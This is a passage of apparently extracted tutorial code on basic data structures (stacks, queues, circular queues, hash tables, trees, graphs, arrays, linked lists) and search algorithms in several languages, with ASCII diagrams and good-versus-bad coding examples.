            if not stack or pairs[stack.pop()] != char:
                return False

    return len(stack) == 0

# Reverse string using stack
def reverse_string(s):
    stack = list(s)
    return ''.join(stack[::-1])

from collections import deque

class Queue:
    def __init__(self):
        self.items = deque()

    def enqueue(self, item):
        """Add item to rear - $O(1)$"""
        self.items.append(item)

    def dequeue(self):
        """Remove and return front item - $O(1)$"""
        if not self.is_empty():
            return self.items.popleft()
        raise IndexError("Queue is empty")

    def front(self):
        """Return front item - $O(1)$"""
        if not self.is_empty():
            return self.items[0]
        raise IndexError("Queue is empty")

    def is_empty(self):
        """Check if queue is empty - $O(1)$"""
        return len(self.items) == 0

    def size(self):
        """Return number of items - $O(1)$"""
        return len(self.items)

# Priority Queue
import heapq

class PriorityQueue:
    def __init__(self):
        self.heap = []

    def push(self, item, priority):
        """Add item with priority - $O(\log n)$"""
        heapq.heappush(self.heap, (priority, item))

    def pop(self):
        """Remove and return highest priority item - $O(\log n)$"""
        if self.heap:
            return heapq.heappop(self.heap)[1]
        raise IndexError("Queue is empty")

# Circular Queue
class CircularQueue:
    def __init__(self, size):
        self.size = size
        self.queue = [None] * size
        self.front = self.rear = -1

    def enqueue(self, item):
        if (self.rear + 1) % self.size == self.front:
            raise Exception("Queue is full")

        if self.front == -1:
            self.front = 0

        self.rear = (self.rear + 1) % self.size
        self.queue[self.rear] = item

    def dequeue(self):
        if self.front == -1:
            raise Exception("Queue is empty")

        item = self.queue[self.front]

        if self.front == self.rear:
            self.front = self.rear = -1
        else:
            self.front = (self.front + 1) % self.size

        return item

class HashTable:
    def __init__(self, size=10):
        self.size = size
        self.table = [[] for _ in range(size)]

    def _hash(self, key):
        """Hash function - $O(1)$"""
        return hash(key) % self.size

    def insert(self, key, value):
        """Insert key-value pair - $O(1)$ average"""
        index = self._hash(key)

        # Update if key exists
        for i, (k, v) in enumerate(self.table[index]):
            if k == key:
                self.table[index][i] = (key, value)
                return

        # Insert new key-value
        self.table[index].append((key, value))

    def get(self, key):
        """Get value by key - $O(1)$ average"""
        index = self._hash(key)

        for k, v in self.table[index]:
            if k == key:
                return v

        raise KeyError(f"Key '{key}' not found")

    def delete(self, key):
        """Delete key-value pair - $O(1)$ average"""
        index = self._hash(key)

        for i, (k, v) in enumerate(self.table[index]):
            if k == key:
                self.table[index].pop(i)
                return

        raise KeyError(f"Key '{key}' not found")

    def contains(self, key):
        """Check if key exists - $O(1)$ average"""
        try:
            self.get(key)
            return True
        except KeyError:
            return False

# Python dict is a hash table
hash_map = {}
hash_map["name"] = "John"
hash_map["age"] = 30

# Counter using hash table
from collections import Counter
text = "hello world"
char_count = Counter(text)

class TreeNode:
    def __init__(self, value):
        self.value = value
        self.left = None
        self.right = None

class BinarySearchTree:
    def __init__(self):
        self.root = None

    def insert(self, value):
        """Insert value - $O(\log n)$ average, $O(n)$ worst"""
        if not self.root:
            self.root = TreeNode(value)
        else:
            self._insert_recursive(self.root, value)

    def _insert_recursive(self, node, value):
        if value < node.value:
            if node.left is None:
                node.left = TreeNode(value)
            else:
                self._insert_recursive(node.left, value)
        else:
            if node.right is None:
                node.right = TreeNode(value)
            else:
                self._insert_recursive(node.right, value)

    def search(self, value):
        """Search for value - $O(\log n)$ average"""
        return self._search_recursive(self.root, value)

    def _search_recursive(self, node, value):
        if node is None or node.value == value:
            return node

        if value < node.value:
            return self._search_recursive(node.left, value)
        return self._search_recursive(node.right, value)

    def inorder_traversal(self, node, result=None):
        """Inorder: Left -> Root -> Right"""
        if result is None:
            result = []

        if node:
            self.inorder_traversal(node.left, result)
            result.append(node.value)
            self.inorder_traversal(node.right, result)

        return result

# Adjacency List representation
class Graph:
    def __init__(self):
        self.graph = {}

    def add_vertex(self, vertex):
        """Add vertex - $O(1)$"""
        if vertex not in self.graph:
            self.graph[vertex] = []

    def add_edge(self, v1, v2):
        """Add edge - $O(1)$"""
        if v1 in self.graph and v2 in self.graph:
            self.graph[v1].append(v2)
            self.graph[v2].append(v1)  # For undirected graph

    def bfs(self, start):
        """Breadth-First Search - $O(V + E)$"""
        visited = set()
        queue = [start]
        result = []

        while queue:
            vertex = queue.pop(0)
            if vertex not in visited:
                visited.add(vertex)
                result.append(vertex)
                queue.extend(self.graph[vertex])

        return result

    def dfs(self, start, visited=None):
        """Depth-First Search - $O(V + E)$"""
        if visited is None:
            visited = set()

        visited.add(start)
        result = [start]

        for neighbor in self.graph[start]:
            if neighbor not in visited:
                result.extend(self.dfs(neighbor, visited))

        return result

# Adjacency Matrix representation
class GraphMatrix:
    def __init__(self, num_vertices):
        self.num_vertices = num_vertices
        self.matrix = [[0] * num_vertices for _ in range(num_vertices)]

    def add_edge(self, v1, v2, weight=1):
        """Add edge with optional weight"""
        self.matrix[v1][v2] = weight
        self.matrix[v2][v1] = weight  # For undirected graph

# Array traversal
for i in range(len(arr)):
    process(arr[i])

# Linked list traversal
current = head
while current:
    process(current.data)
    current = current.next

# Tree traversal (recursion)
def traverse_tree(node):
    if node:
        traverse_tree(node.left)
        process(node.value)
        traverse_tree(node.right)

# Graph traversal (BFS)
def bfs(graph, start):
    visited = set()
    queue = [start]

    while queue:
        vertex = queue.pop(0)
        if vertex not in visited:
            visited.add(vertex)
            process(vertex)
            queue.extend(graph[vertex])

# Linear search - $O(n)$
def linear_search(arr, target):
    for i, val in enumerate(arr):
        if val == target:
            return i
    return -1

# Binary search - $O(\log n)$
def binary_search(arr, target):
    left, right = 0, len(arr) - 1

    while left <= right:
        mid = (left + right) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return -1

# Hash table search - $O(1)$
def hash_search(hash_table, key):
    return hash_table.get(key)

Index:     0    1    2    3    4
Array:   | 10 | 20 | 30 | 40 | 50 |
Address: 1000 1004 1008 1012 1016  (for 4-byte integers)

# Creating arrays
arr = [1, 2, 3, 4, 5]
arr_zeros = [0] * 10  # [0, 0, 0, ..., 0] (10 elements)

# Accessing elements
first = arr[0]        # 1
last = arr[-1]        # 5 (negative indexing)

# Modifying elements
arr[2] = 100          # [1, 2, 100, 4, 5]

# Slicing
sub = arr[1:4]        # [2, 100, 4]
reversed_arr = arr[::-1]  # [5, 4, 100, 2, 1]

# Common operations
arr.append(6)         # Add to end: [1, 2, 100, 4, 5, 6]
arr.insert(2, 99)     # Insert at index: [1, 2, 99, 100, 4, 5, 6]
arr.pop()             # Remove last: returns 6
arr.remove(99)        # Remove first occurrence of 99
length = len(arr)     # Get length

# Iteration
for element in arr:
    print(element)

for index, element in enumerate(arr):
    print(f"Index {index}: {element}")

# List comprehension
squares = [x**2 for x in range(10)]  # [0, 1, 4, 9, 16, ..., 81]
evens = [x for x in arr if x % 2 == 0]  # Filter even numbers

# 2D Arrays (Matrix)
matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
]
element = matrix[1][2]  # Access: 6

// Creating arrays
let arr = [1, 2, 3, 4, 5];
let arr2 = new Array(10);  // Array with 10 undefined elements
let arr3 = Array.from({length: 5}, (_, i) => i);  // [0, 1, 2, 3, 4]

// Accessing and modifying
arr[0] = 100;
let last = arr[arr.length - 1];  // 5

// Common methods
arr.push(6);              // Add to end
arr.pop();                // Remove from end
arr.unshift(0);           // Add to beginning
arr.shift();              // Remove from beginning
arr.splice(2, 1, 99);     // Remove 1 element at index 2, insert 99

// Iteration
arr.forEach((element, index) => {
    console.log(index, element);
});

// Map, filter, reduce
let doubled = arr.map(x => x * 2);
let evens = arr.filter(x => x % 2 === 0);
let sum = arr.reduce((acc, x) => acc + x, 0);

// Find elements
let found = arr.find(x => x > 3);     // First element > 3
let index = arr.findIndex(x => x > 3);  // Index of first element > 3
let includes = arr.includes(3);       // true if 3 exists

// Sorting
arr.sort((a, b) => a - b);  // Ascending
arr.sort((a, b) => b - a);  // Descending

// Spread operator
let combined = [...arr, ...arr2];
let copy = [...arr];

#include <iostream>
#include <vector>
#include <array>
using namespace std;

int main() {
    // Static array
    int arr[5] = {1, 2, 3, 4, 5};
    int size = sizeof(arr) / sizeof(arr[0]);  // 5

    // Access and modify
    arr[0] = 100;
    int last = arr[size - 1];

    // std::array (fixed size, safer)
    array<int, 5> std_arr = {1, 2, 3, 4, 5};
    std_arr[0] = 100;
    int sz = std_arr.size();

    // std::vector (dynamic array)
    vector<int> vec = {1, 2, 3, 4, 5};
    vec.push_back(6);         // Add to end
    vec.pop_back();           // Remove from end
    vec.insert(vec.begin() + 2, 99);  // Insert at index 2
    vec.erase(vec.begin() + 2);       // Remove at index 2

    // Iteration
    for (int i = 0; i < vec.size(); i++) {
        cout << vec[i] << " ";
    }

    // Range-based for loop
    for (int x : vec) {
        cout << x << " ";
    }

    // 2D vector
    vector<vector<int>> matrix(3, vector<int>(4, 0));  // 3x4 matrix of zeros
    matrix[1][2] = 99;

    return 0;
}

import java.util.ArrayList;
import java.util.Arrays;

public class ArrayExamples {
    public static void main(String[] args) {
        // Static array
        int[] arr = {1, 2, 3, 4, 5};
        int[] arr2 = new int[10];  // 10 elements, initialized to 0

        // Access and modify
        arr[0] = 100;
        int length = arr.length;

        // ArrayList (dynamic array)
        ArrayList<Integer> list = new ArrayList<>();
        list.add(1);
        list.add(2);
        list.add(3);
        list.add(2, 99);  // Insert at index 2
        list.remove(2);   // Remove at index 2
        int element = list.get(1);  // Access index 1
        list.set(1, 100);           // Modify index 1

        // Iteration
        for (int i = 0; i < list.size(); i++) {
            System.out.println(list.get(i));
        }

        for (int x : list) {
            System.out.println(x);
        }

        // Useful methods
        boolean contains = list.contains(3);
        int idx = list.indexOf(3);
        list.sort((a, b) -> a - b);  // Sort

        // Arrays utility
        int[] arr3 = {3, 1, 4, 1, 5};
        Arrays.sort(arr3);
        int index = Arrays.binarySearch(arr3, 4);  // Binary search (sorted array)
    }
}

def linear_search(arr, target):
    for i in range(len(arr)):
        if arr[i] == target:
            return i
    return -1  # Not found

# Time: $O(n)$, Space: $O(1)$

def binary_search(arr, target):
    left, right = 0, len(arr) - 1

    while left <= right:
        mid = left + (right - left) // 2  # Avoid overflow

        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return -1  # Not found

# Time: $O(\log n)$, Space: $O(1)$

def two_sum_sorted(arr, target):
    """Find two numbers that sum to target in sorted array"""
    left, right = 0, len(arr) - 1

    while left < right:
        current_sum = arr[left] + arr[right]
        if current_sum == target:
            return [left, right]
        elif current_sum < target:
            left += 1
        else:
            right -= 1

    return []  # Not found

def max_sum_subarray(arr, k):
    """Maximum sum of k consecutive elements"""
    if len(arr) < k:
        return None

    # Compute sum of first window
    window_sum = sum(arr[:k])
    max_sum = window_sum

    # Slide the window
    for i in range(k, len(arr)):
        window_sum = window_sum - arr[i - k] + arr[i]
        max_sum = max(max_sum, window_sum)

    return max_sum

# Time: $O(n)$, Space: $O(1)$

def max_subarray_sum(arr):
    """Find maximum sum of any contiguous subarray"""
    max_so_far = arr[0]
    max_ending_here = arr[0]

    for i in range(1, len(arr)):
        max_ending_here = max(arr[i], max_ending_here + arr[i])
        max_so_far = max(max_so_far, max_ending_here)

    return max_so_far

# Time: $O(n)$, Space: $O(1)$
# Example: [-2, 1, -3, 4, -1, 2, 1, -5, 4] -> 6 (subarray [4, -1, 2, 1])

def reverse(arr):
    left, right = 0, len(arr) - 1
    while left < right:
        arr[left], arr[right] = arr[right], arr[left]
        left += 1
        right -= 1
    return arr

def rotate_right(arr, k):
    """Rotate array to the right by k positions"""
    n = len(arr)
    k = k % n  # Handle k > n

    # Reverse entire array
    arr.reverse()
    # Reverse first k elements
    arr[:k] = reversed(arr[:k])
    # Reverse remaining elements
    arr[k:] = reversed(arr[k:])

    return arr

# Example: [1, 2, 3, 4, 5], k=2 -> [4, 5, 1, 2, 3]

def remove_duplicates(arr):
    """Remove duplicates in-place, return new length"""
    if not arr:
        return 0

    write_index = 1
    for i in range(1, len(arr)):
        if arr[i] != arr[i - 1]:
            arr[write_index] = arr[i]
            write_index += 1

    return write_index

# Bad
if arr[i] > 0:  # May cause IndexError

# Good
if i < len(arr) and arr[i] > 0:

# Bad
for x in arr:
    if x % 2 == 0:
        arr.remove(x)  # Causes skipping

# Good
arr = [x for x in arr if x % 2 != 0]  # Create new list

    Head
     |
    Data -> Next -> Data -> Next -> Data -> Next -> None

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class LinkedList:
    def __init__(self):
        self.head = None

    def append(self, data):
        """Add element to end"""
        new_node = Node(data)
        if not self.head:
            self.head = new_node
            return

        current = self.head
        while current.next:
            current = current.next
        current.next = new_node

    def prepend(self, data):
        """Add element to beginning"""
        new_node = Node(data)
        new_node.next = self.head
        self.head = new_node

    def insert_after(self, prev_data, data):
        """Insert after specific value"""
        current = self.head
        while current and current.data != prev_data:
            current = current.next

        if current:
            new_node = Node(data)
            new_node.next = current.next
            current.next = new_node

    def delete(self, data):
        """Remove first occurrence"""
        if not self.head:
            return

        # If head needs to be deleted
        if self.head.data == data:
            self.head = self.head.next
            return

        current = self.head
        while current.next and current.next.data != data:
            current = current.next

        if current.next:
            current.next = current.next.next

    def search(self, data):
        """Find element"""
        current = self.head
        while current:
            if current.data == data:
                return True
            current = current.next
        return False

    def display(self):
        """Print all elements"""
        elements = []
        current = self.head
        while current:
            elements.append(str(current.data))
            current = current.next
        print(" -> ".join(elements) + " -> None")

    def __len__(self):
        """Get length"""
        count = 0
        current = self.head
        while current:
            count += 1
            current = current.next
        return count

# Usage
ll = LinkedList()
ll.append(1)
ll.append(2)
ll.append(3)
ll.prepend(0)
ll.display()  # 0 -> 1 -> 2 -> 3 -> None
ll.delete(2)
ll.display()  # 0 -> 1 -> 3 -> None

class DNode:
    def __init__(self, data):
        self.data = data
        self.next = None
        self.prev = None

class DoublyLinkedList:
    def __init__(self):
        self.head = None

    def append(self, data):
        """Add to end"""
        new_node = DNode(data)
        if not self.head:
            self.head = new_node
            return

        current = self.head
        while current.next:
            current = current.next
        current.next = new_node
        new_node.prev = current

    def reverse_display(self):
        """Print in reverse"""
        if not self.head:
            return

        current = self.head
        while current.next:
            current = current.next

        elements = []
        while current:
            elements.append(str(current.data))
            current = current.prev
        print(" -> ".join(elements) + " -> None")

class Node {
    constructor(data) {
        this.data = data;
        this.next = null;
    }
}

class LinkedList {
    constructor() {
        this.head = null;
    }

    append(data) {
        const newNode = new Node(data);
        if (!this.head) {
            this.head = newNode;
            return;
        }

        let current = this.head;
        while (current.next) {
            current = current.next;
        }
        current.next = newNode;
    }

    prepend(data) {
        const newNode = new Node(data);
        newNode.next = this.head;
        this.head = newNode;
    }

    delete(data) {
        if (!this.head) return;

        if (this.head.data === data) {
            this.head = this.head.next;
            return;
        }

        let current = this.head;
        while (current.next && current.next.data !== data) {
            current = current.next;
        }

        if (current.next) {
            current.next = current.next.next;
        }
    }

    display() {
        let current = this.head;
        let result = [];
        while (current) {
            result.push(current.data);
            current = current.next;
        }
        console.log(result.join(" -> ") + " -> null");
    }
}

// Usage
const ll = new LinkedList();
ll.append(1);
ll.append(2);
ll.prepend(0);
ll.display();  // 0 -> 1 -> 2 -> null

#include <iostream>
using namespace std;

struct Node {
    int data;
    Node* next;

    Node(int data) : data(data), next(nullptr) {}
};

class LinkedList {
private:
    Node* head;

public:
    LinkedList() : head(nullptr) {}

    void append(int data) {
        Node* newNode = new Node(data);
        if (!head) {
            head = newNode;
            return;
        }

        Node* current = head;
        while (current->next) {
            current = current->next;
        }
        current->next = newNode;
    }

    void prepend(int data) {
        Node* newNode = new Node(data);
        newNode->next = head;
        head = newNode;
    }

    void deleteNode(int data) {
        if (!head) return;

        if (head->data == data) {
            Node* temp = head;
            head = head->next;
            delete temp;
            return;
        }

        Node* current = head;
        while (current->next && current->next->data != data) {
            current = current->next;
        }

        if (current->next) {
            Node* temp = current->next;
            current->next = current->next->next;
            delete temp;
        }
    }

    void display() {
        Node* current = head;
        while (current) {
            cout << current->data << " -> ";
            current = current->next;
        }
        cout << "null\n";
    }

    ~LinkedList() {
        Node* current = head;
        while (current) {
            Node* temp = current;
            current = current->next;
            delete temp;
        }
    }
};

def reverse(head):
    """Reverse entire linked list"""
    prev = None
    current = head

    while current:
        next_temp = current.next  # Save next
        current.next = prev       # Reverse link
        prev = current            # Move prev forward
        current = next_temp       # Move current forward

    return prev  # New head

def find_middle(head):
    """Find middle node using slow/fast pointers"""
    slow = fast = head

    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next

    return slow  # Slow pointer at middle

def has_cycle(head):
    """Detect if linked list has cycle"""
    slow = fast = head

    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next

        if slow == fast:  # Cycle detected
            return True

    return False

def merge_sorted(l1, l2):
    """Merge two sorted linked lists"""
    dummy = Node(0)
    current = dummy

    while l1 and l2:
        if l1.data < l2.data:
            current.next = l1
            l1 = l1.next
        else:
            current.next = l2
            l2 = l2.next
        current = current.next

    # Attach remaining
    current.next = l1 if l1 else l2

    return dummy.next

def remove_nth_from_end(head, n):
    """Remove nth node from end"""
    dummy = Node(0)
    dummy.next = head
    first = second = dummy

    # Move first pointer n+1 steps ahead
    for i in range(n + 1):
        if not first:
            return head
        first = first.next

    # Move both until first reaches end
    while first:
        first = first.next
        second = second.next

    # Remove node
    second.next = second.next.next

    return dummy.next

# Bad: Check for None multiple times
if head and head.next and head.next.next:
    ...

# Good: Use dummy node
dummy = Node(0)
dummy.next = head
current = dummy
# Now no need to check if current exists

// Always delete removed nodes
Node* temp = current->next;
current->next = current->next->next;
delete temp;  // Free memory

# Many problems solved with slow/fast pointers:
# - Find middle
# - Detect cycle
# - Remove nth from end

Push: 1 -> 2 -> 3

     3     Top (Last In)

     2

     1     First In

Pop: Returns 3 (First Out)

class Stack:
    def __init__(self):
        self.items = []

    def push(self, data):
        self.items.append(data)

    def pop(self):
        return self.items.pop() if not self.is_empty() else None

    def peek(self):
        return self.items[-1] if not self.is_empty() else None

    def is_empty(self):
        return len(self.items) == 0

    def size(self):
        return len(self.items)

# Using deque for $O(1)$ operations
from collections import deque
stack = deque()
stack.append(1)  # Push $O(1)$
stack.pop()      # Pop $O(1)$

def is_valid(s):
    stack = []
    pairs = {'(': ')', '[': ']', '{': '}'}

    for char in s:
        if char in pairs:
            stack.append(char)
        else:
            if not stack or pairs[stack.pop()] != char:
                return False

    return len(stack) == 0

def next_greater(arr):
    stack = []
    result = [-1] * len(arr)

    for i in range(len(arr) - 1, -1, -1):
        while stack and stack[-1] <= arr[i]:
            stack.pop()
        if stack:
            result[i] = stack[-1]
        stack.append(arr[i])

    return result

def evaluate_postfix(expr):
    stack = []
    ops = {'+', '-', '*', '/'}

    for token in expr.split():
        if token not in ops:
            stack.append(int(token))
        else:
            b = stack.pop()
            a = stack.pop()
            if token == '+': stack.append(a + b)
            elif token == '-': stack.append(a - b)
            elif token == '*': stack.append(a * b)
            else: stack.append(a // b)

    return stack[0]

Front                                    Rear
  |                                        |
  v                                        v
[10] -> [20] -> [30] -> [40] -> [50]
  ^                                        ^
  |                                        |
Dequeue here                         Enqueue here

class Queue:
    def __init__(self):
        self.items = []

    def enqueue(self, item):
        """Add item to rear of queue - O(1)"""
        self.items.append(item)

    def dequeue(self):
        """Remove and return front item - O(n) due to list shift"""
        if self.is_empty():
            raise IndexError("Dequeue from empty queue")
        return self.items.pop(0)

    def peek(self):
        """Return front item without removing - O(1)"""
        if self.is_empty():
            raise IndexError("Peek from empty queue")
        return self.items[0]

    def is_empty(self):
        """Check if queue is empty - O(1)"""
        return len(self.items) == 0

    def size(self):
        """Return number of items - O(1)"""
        return len(self.items)

    def clear(self):
        """Remove all items - O(1)"""
        self.items = []

    def __str__(self):
        return f"Queue({self.items})"

# Usage example
queue = Queue()
queue.enqueue(10)
queue.enqueue(20)
queue.enqueue(30)
print(queue)  # Queue([10, 20, 30])
print(queue.dequeue())  # 10
print(queue.peek())  # 20
print(queue.size())  # 2

from collections import deque

class EfficientQueue:
    def __init__(self):
        self.items = deque()

    def enqueue(self, item):
        """Add item to rear - O(1)"""
        self.items.append(item)

    def dequeue(self):
        """Remove and return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Dequeue from empty queue")
        return self.items.popleft()

    def peek(self):
        """Return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Peek from empty queue")
        return self.items[0]

    def is_empty(self):
        return len(self.items) == 0

    def size(self):
        return len(self.items)

    def clear(self):
        self.items.clear()

# Usage
q = EfficientQueue()
q.enqueue(1)
q.enqueue(2)
q.enqueue(3)
print(q.dequeue())  # 1
print(q.dequeue())  # 2

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class LinkedQueue:
    def __init__(self):
        self.front = None
        self.rear = None
        self._size = 0

    def enqueue(self, item):
        """Add item to rear - O(1)"""
        new_node = Node(item)

        if self.rear is None:
            # Queue is empty
            self.front = self.rear = new_node
        else:
            # Add to rear and update rear pointer
            self.rear.next = new_node
            self.rear = new_node

        self._size += 1

    def dequeue(self):
        """Remove and return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Dequeue from empty queue")

        item = self.front.data
        self.front = self.front.next
        self._size -= 1

        # If queue becomes empty, update rear pointer
        if self.front is None:
            self.rear = None

        return item

    def peek(self):
        """Return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Peek from empty queue")
        return self.front.data

    def is_empty(self):
        return self.front is None

    def size(self):
        return self._size

    def clear(self):
        self.front = None
        self.rear = None
        self._size = 0

    def __str__(self):
        items = []
        current = self.front
        while current:
            items.append(str(current.data))
            current = current.next
        return f"Queue([{' -> '.join(items)}])"

# Usage
lq = LinkedQueue()
lq.enqueue(100)
lq.enqueue(200)
lq.enqueue(300)
print(lq)  # Queue([100 -> 200 -> 300])
print(lq.dequeue())  # 100
print(lq)  # Queue([200 -> 300])

class Queue {
    constructor() {
        this.items = [];
    }

    enqueue(item) {
        // Add to rear - O(1)
        this.items.push(item);
    }

    dequeue() {
        // Remove from front - O(n) due to array shift
        if (this.isEmpty()) {
            throw new Error("Dequeue from empty queue");
        }
        return this.items.shift();
    }

    peek() {
        if (this.isEmpty()) {
            throw new Error("Peek from empty queue");
        }
        return this.items[0];
    }

    isEmpty() {
        return this.items.length === 0;
    }

    size() {
        return this.items.length;
    }

    clear() {
        this.items = [];
    }

    toString() {
        return `Queue([${this.items.join(', ')}])`;
    }
}

// Usage
const queue = new Queue();
queue.enqueue(10);
queue.enqueue(20);
queue.enqueue(30);
console.log(queue.toString());  // Queue([10, 20, 30])
console.log(queue.dequeue());  // 10
console.log(queue.peek());  // 20

class EfficientQueue {
    constructor() {
        this.items = {};
        this.frontIndex = 0;
        this.rearIndex = 0;
    }

    enqueue(item) {
        // Add to rear - O(1)
        this.items[this.rearIndex] = item;
        this.rearIndex++;
    }

    dequeue() {
        // Remove from front - O(1)
        if (this.isEmpty()) {
            throw new Error("Dequeue from empty queue");
        }

        const item = this.items[this.frontIndex];
        delete this.items[this.frontIndex];
        this.frontIndex++;

        return item;
    }

    peek() {
        if (this.isEmpty()) {
            throw new Error("Peek from empty queue");
        }
        return this.items[this.frontIndex];
    }

    isEmpty() {
        return this.frontIndex === this.rearIndex;
    }

    size() {
        return this.rearIndex - this.frontIndex;
    }

    clear() {
        this.items = {};
        this.frontIndex = 0;
        this.rearIndex = 0;
    }
}

// Usage
const eq = new EfficientQueue();
eq.enqueue(1);
eq.enqueue(2);
eq.enqueue(3);
console.log(eq.dequeue());  // 1
console.log(eq.size());  // 2

interface QueueInterface<T> {
    enqueue(item: T): void;
    dequeue(): T;
    peek(): T;
    isEmpty(): boolean;
    size(): number;
    clear(): void;
}

class TypedQueue<T> implements QueueInterface<T> {
    private items: Map<number, T>;
    private frontIndex: number;
    private rearIndex: number;

    constructor() {
        this.items = new Map<number, T>();
        this.frontIndex = 0;
        this.rearIndex = 0;
    }

    enqueue(item: T): void {
        this.items.set(this.rearIndex, item);
        this.rearIndex++;
    }

    dequeue(): T {
        if (this.isEmpty()) {
            throw new Error("Dequeue from empty queue");
        }

        const item = this.items.get(this.frontIndex)!;
        this.items.delete(this.frontIndex);
        this.frontIndex++;

        return item;
    }

    peek(): T {
        if (this.isEmpty()) {
            throw new Error("Peek from empty queue");
        }
        return this.items.get(this.frontIndex)!;
    }

    isEmpty(): boolean {
        return this.frontIndex === this.rearIndex;
    }

    size(): number {
        return this.rearIndex - this.frontIndex;
    }

    clear(): void {
        this.items.clear();
        this.frontIndex = 0;
        this.rearIndex = 0;
    }
}

// Usage
const tq = new TypedQueue<number>();
tq.enqueue(10);
tq.enqueue(20);
console.log(tq.dequeue());  // 10

#include <iostream>
#include <queue>
#include <string>

void basicQueueExample() {
    std::queue<int> q;

    // Enqueue
    q.push(10);
    q.push(20);
    q.push(30);

    std::cout << "Front: " << q.front() << std::endl;  // 10
    std::cout << "Size: " << q.size() << std::endl;    // 3

    // Dequeue
    q.pop();
    std::cout << "Front after pop: " << q.front() << std::endl;  // 20

    // Check empty
    std::cout << "Is empty: " << (q.empty() ? "Yes" : "No") << std::endl;
}

#include <iostream>
#include <stdexcept>

template<typename T>
class ArrayQueue {
private:
    T* items;
    int capacity;
    int frontIndex;
    int rearIndex;
    int count;

    void resize() {
        int newCapacity = capacity * 2;
        T* newItems = new T[newCapacity];

        // Copy elements
        for (int i = 0; i < count; i++) {
            newItems[i] = items[(frontIndex + i) % capacity];
        }

        delete[] items;
        items = newItems;
        capacity = newCapacity;
        frontIndex = 0;
        rearIndex = count;
    }

public:
    ArrayQueue(int initialCapacity = 10)
        : capacity(initialCapacity), frontIndex(0), rearIndex(0), count(0) {
        items = new T[capacity];
    }

    ~ArrayQueue() {
        delete[] items;
    }

    void enqueue(const T& item) {
        if (count == capacity) {
            resize();
        }

        items[rearIndex] = item;
        rearIndex = (rearIndex + 1) % capacity;
        count++;
    }

    T dequeue() {
        if (isEmpty()) {
            throw std::runtime_error("Dequeue from empty queue");
        }

        T item = items[frontIndex];
        frontIndex = (frontIndex + 1) % capacity;
        count--;

        return item;
    }

    T& peek() {
        if (isEmpty()) {
            throw std::runtime_error("Peek from empty queue");
        }
        return items[frontIndex];
    }

    bool isEmpty() const {
        return count == 0;
    }

    int size() const {
        return count;
    }

    void clear() {
        frontIndex = 0;
        rearIndex = 0;
        count = 0;
    }
};

// Usage
int main() {
    ArrayQueue<int> q;
    q.enqueue(10);
    q.enqueue(20);
    q.enqueue(30);

    std::cout << "Dequeue: " << q.dequeue() << std::endl;  // 10
    std::cout << "Peek: " << q.peek() << std::endl;  // 20
    std::cout << "Size: " << q.size() << std::endl;  // 2

    return 0;
}

#include <iostream>
#include <stdexcept>

template<typename T>
class LinkedQueue {
private:
    struct Node {
        T data;
        Node* next;

        Node(const T& value) : data(value), next(nullptr) {}
    };

    Node* front;
    Node* rear;
    int count;

public:
    LinkedQueue() : front(nullptr), rear(nullptr), count(0) {}

    ~LinkedQueue() {
        clear();
    }

    void enqueue(const T& item) {
        Node* newNode = new Node(item);

        if (rear == nullptr) {
            // Queue is empty
            front = rear = newNode;
        } else {
            rear->next = newNode;
            rear = newNode;
        }

        count++;
    }

    T dequeue() {
        if (isEmpty()) {
            throw std::runtime_error("Dequeue from empty queue");
        }

        Node* temp = front;
        T item = front->data;

        front = front->next;

        if (front == nullptr) {
            rear = nullptr;
        }

        delete temp;
        count--;

        return item;
    }

    T& peek() {
        if (isEmpty()) {
            throw std::runtime_error("Peek from empty queue");
        }
        return front->data;
    }

    bool isEmpty() const {
        return front == nullptr;
    }

    int size() const {
        return count;
    }

    void clear() {
        while (!isEmpty()) {
            dequeue();
        }
    }
};

// Usage
int main() {
    LinkedQueue<std::string> q;
    q.enqueue("First");
    q.enqueue("Second");
    q.enqueue("Third");

    std::cout << q.dequeue() << std::endl;  // First
    std::cout << q.peek() << std::endl;     // Second

    return 0;
}

Initial State (capacity = 5):
Front = 0, Rear = 0
[_][_][_][_][_]
 0  1  2  3  4

After enqueue(10, 20, 30):
Front = 0, Rear = 3
[10][20][30][_][_]
 F            R

After dequeue() twice:
Front = 2, Rear = 3
[_][_][30][_][_]
       F   R

After enqueue(40, 50, 60):
Front = 2, Rear = 0 (wrapped around)
[60][_][30][40][50]
 R       F

class CircularQueue:
    def __init__(self, capacity):
        self.capacity = capacity
        self.items = [None] * capacity
        self.front = -1
        self.rear = -1
        self.count = 0

    def enqueue(self, item):
        """Add item to rear - O(1)"""
        if self.is_full():
            raise OverflowError("Queue is full")

        if self.is_empty():
            self.front = 0
            self.rear = 0
        else:
            self.rear = (self.rear + 1) % self.capacity

        self.items[self.rear] = item
        self.count += 1

    def dequeue(self):
        """Remove and return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Queue is empty")

        item = self.items[self.front]

        if self.front == self.rear:
            # Queue becomes empty
            self.front = -1
            self.rear = -1
        else:
            self.front = (self.front + 1) % self.capacity

        self.count -= 1
        return item

    def peek(self):
        """Return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Queue is empty")
        return self.items[self.front]

    def is_empty(self):
        return self.count == 0

    def is_full(self):
        return self.count == self.capacity

    def size(self):
        return self.count

    def __str__(self):
        if self.is_empty():
            return "CircularQueue([])"

        result = []
        i = self.front
        for _ in range(self.count):
            result.append(str(self.items[i]))
            i = (i + 1) % self.capacity

        return f"CircularQueue([{', '.join(result)}])"

# Usage
cq = CircularQueue(5)
cq.enqueue(10)
cq.enqueue(20)
cq.enqueue(30)
print(cq)  # CircularQueue([10, 20, 30])

cq.dequeue()
cq.dequeue()
print(cq)  # CircularQueue([30])

cq.enqueue(40)
cq.enqueue(50)
cq.enqueue(60)
cq.enqueue(70)
print(cq)  # CircularQueue([30, 40, 50, 60, 70])

#include <iostream>
#include <stdexcept>

template<typename T>
class CircularQueue {
private:
    T* items;
    int capacity;
    int front;
    int rear;
    int count;

public:
